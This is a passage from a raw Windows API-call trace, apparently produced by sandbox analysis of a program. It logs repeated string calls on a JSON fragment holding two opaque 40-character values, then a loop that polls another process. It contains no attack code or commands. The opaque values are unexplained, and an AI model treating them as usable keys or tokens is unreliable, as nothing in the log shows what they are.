(lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2bb0f0, cbMultiByte=-1, lpWideCharStr=0x2ea4c0, cchWideChar=1117 | out: lpWideCharStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 94 [0058.047] lstrcpyW (in: lpString1=0x455b98, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0058.047] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe80f778, cbMultiByte=-1, lpWideCharStr=0x2dbbd8, cchWideChar=94 | out: lpWideCharStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 94 [0058.047] lstrcpyW (in: lpString1=0x455b98, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0058.047] lstrlenW (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned 40 [0058.047] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0058.047] lstrcpyA (in: lpString1=0xe80fb78, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0058.047] lstrcpyA (in: lpString1=0xe80f778, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.047] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ccbc0, cbMultiByte=-1, lpWideCharStr=0x2ea4c0, cchWideChar=1066 | out: lpWideCharStr="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 43 [0058.048] lstrcpyW (in: lpString1=0x45d0c8, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0058.048] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0058.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe80f778, cbMultiByte=-1, lpWideCharStr=0x2affd0, cchWideChar=43 | out: lpWideCharStr="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 43 [0058.048] lstrcpyW (in: lpString1=0x45d0c8, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0058.048] lstrlenW (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned 40 [0058.048] lstrlenW (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned 40 Thread: id = 18 os_tid = 0x918 Thread: id = 19 os_tid = 0x91c Thread: id = 20 os_tid = 0x920 Thread: id = 21 os_tid = 0x924 Thread: id = 22 os_tid = 0x928 Thread: id = 37 os_tid = 0x934 Thread: id = 40 os_tid = 0x9b0 Thread: id = 41 os_tid = 0x9c4 [0058.280] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x3e8 [0058.280] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0xa) returned 0x102 [0058.289] CloseHandle (hObject=0x3e8) returned 1 [0058.289] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0058.293] Sleep (dwMilliseconds=0x1) [0058.304] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x408 [0058.304] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0xa) returned 0x102 [0058.429] CloseHandle (hObject=0x408) returned 1 [0058.429] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0058.429] Sleep (dwMilliseconds=0x1) [0058.439] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x418 [0058.440] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0xa) returned 0x102 [0058.457] CloseHandle (hObject=0x418) returned 1 [0058.457] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0058.457] Sleep (dwMilliseconds=0x1) [0058.471] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x418 [0058.471] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0xa) returned 0x102 [0058.486] CloseHandle (hObject=0x418) returned 1 [0058.486] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0058.486] Sleep (dwMilliseconds=0x1) [0058.564] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x458 [0058.564] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0xa) returned 0x102 [0058.611] CloseHandle (hObject=0x458) returned 1 [0058.611] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0058.611] Sleep (dwMilliseconds=0x1) [0058.658] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0058.658] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0058.851] CloseHandle (hObject=0x4b0) returned 1 [0058.851] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0058.851] Sleep (dwMilliseconds=0x1) [0059.029] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.029] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.047] CloseHandle (hObject=0x4b0) returned 1 [0059.047] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.047] Sleep (dwMilliseconds=0x1) [0059.048] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.048] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.063] CloseHandle (hObject=0x4b0) returned 1 [0059.063] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.063] Sleep (dwMilliseconds=0x1) [0059.079] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.079] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.095] CloseHandle (hObject=0x4b8) returned 1 [0059.095] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.095] Sleep (dwMilliseconds=0x1) [0059.110] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.110] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.126] CloseHandle (hObject=0x4b8) returned 1 [0059.126] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.126] Sleep (dwMilliseconds=0x1) [0059.141] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.141] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.157] CloseHandle (hObject=0x4b8) returned 1 [0059.157] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.157] Sleep (dwMilliseconds=0x1) [0059.172] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.173] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.188] CloseHandle (hObject=0x4b8) returned 1 [0059.188] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.188] Sleep (dwMilliseconds=0x1) [0059.204] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.204] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.219] CloseHandle (hObject=0x4b8) returned 1 [0059.219] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.219] Sleep (dwMilliseconds=0x1) [0059.235] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.235] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.251] CloseHandle (hObject=0x4b8) returned 1 [0059.251] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.251] Sleep (dwMilliseconds=0x1) [0059.266] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.266] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.282] CloseHandle (hObject=0x4b8) returned 1 [0059.282] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.282] Sleep (dwMilliseconds=0x1) [0059.297] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.297] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.313] CloseHandle (hObject=0x4b8) returned 1 [0059.313] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.313] Sleep (dwMilliseconds=0x1) [0059.329] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.329] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.344] CloseHandle (hObject=0x4b8) returned 1 [0059.344] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.344] Sleep (dwMilliseconds=0x1) [0059.360] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.360] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.376] CloseHandle (hObject=0x4b8) returned 1 [0059.376] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.376] Sleep (dwMilliseconds=0x1) [0059.391] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.391] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.407] CloseHandle (hObject=0x4b8) returned 1 [0059.407] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.407] Sleep (dwMilliseconds=0x1) [0059.422] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.422] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.438] CloseHandle (hObject=0x4b8) returned 1 [0059.439] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.440] Sleep (dwMilliseconds=0x1) [0059.453] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b8 [0059.453] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0059.469] CloseHandle (hObject=0x4b8) returned 1 [0059.469] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.469] Sleep (dwMilliseconds=0x1) [0059.586] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.586] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.594] CloseHandle (hObject=0x4b0) returned 1 [0059.594] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.594] Sleep (dwMilliseconds=0x1) [0059.610] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.610] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.632] CloseHandle (hObject=0x4b0) returned 1 [0059.633] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.633] Sleep (dwMilliseconds=0x1) [0059.641] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.641] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.656] CloseHandle (hObject=0x4b0) returned 1 [0059.656] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.656] Sleep (dwMilliseconds=0x1) [0059.672] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.672] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.688] CloseHandle (hObject=0x4b0) returned 1 [0059.688] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.688] Sleep (dwMilliseconds=0x1) [0059.703] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.703] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.719] CloseHandle (hObject=0x4b0) returned 1 [0059.719] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 